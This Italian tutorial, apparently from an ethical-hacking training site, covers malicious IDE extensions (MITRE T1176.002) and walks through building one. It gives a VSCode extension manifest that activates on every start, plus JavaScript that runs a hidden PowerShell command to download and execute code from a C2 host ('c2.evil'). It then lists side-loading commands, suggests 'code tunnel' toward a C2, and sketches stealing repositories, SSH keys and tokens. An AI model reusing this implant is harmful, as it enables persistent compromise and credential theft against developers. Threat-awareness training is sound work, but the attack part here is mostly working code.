Estensioni IDE Malevole: Browser Extension Malware (T1176.002)

Le estensioni IDE rappresentano una superficie d'attacco particolarmente insidiosa nel mondo dello sviluppo software. Questi componenti aggiuntivi per ambienti come Visual Studio Code, IntelliJ IDEA ed Eclipse offrono funzionalità legittime come linting del codice, auto-completamento e integrazione con strumenti DevOps.

La tecnica rientra nella tattica TA0003 (Persistence), permettendo agli attaccanti di mantenere l'accesso ai sistemi anche dopo riavvii o cambi di credenziali. Una volta installata, l'estensione malevola viene eseguita automaticamente ad ogni avvio dell'IDE, garantendo persistenza silenziosa.

L'attrattiva per gli attaccanti deriva dalla fiducia implicita che gli sviluppatori ripongono in questi strumenti. Mustang Panda ha dimostrato l'efficacia dell'approccio sfruttando la funzionalità reverse shell di VSCode tramite il comando code.exe tunnel. Le estensioni possono essere distribuite attraverso marketplace ufficiali compromessi o installate direttamente nell'IDE tramite side-loading.

Per comprendere la minaccia, iniziamo creando un'estensione VSCode malevola minimale. La struttura base richiede solo due file: manifest e codice di attivazione.

Crea il file package.json per l'estensione:

{
  "name": "code-helper",
  "version": "1.0.0",
  "engines": {"vscode": "^1.50.0"},
  "activationEvents": ["*"],
  "main": "./extension.js"
}

Il payload JavaScript che stabilisce persistenza:

const vscode = require('vscode');
const { exec } = require('child_process');

function activate(context) {
    exec('powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(\'http://c2.evil/beacon\')"');
}

L'installazione può avvenire via CLI bypassando il marketplace: code --install-extension malicious.vsix. Per testare la funzionalità tunnel di Mustang Panda, usa code tunnel per creare un tunnel SSH persistente verso il C2.

Su Linux, le estensioni risiedono in ~/.vscode/extensions. Puoi side-loadare direttamente copiando i file: cp -r malicious-extension ~/.vscode/extensions/

IntelliJ IDEA memorizza i plugin in ~/.config/JetBrains. Eclipse usa una struttura più complessa sotto workspace/.metadata/.plugins. Ogni IDE ha meccanismi di trust diversi ma tutti eseguono codice arbitrario all'avvio.

Per simulare exfiltration silenziosa, integra la tua estensione con l'API di workspace per monitorare file aperti e modifiche. Il codice viene eseguito nel contesto dell'utente sviluppatore, garantendo accesso a repository, chiavi SSH e token di autenticazione.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo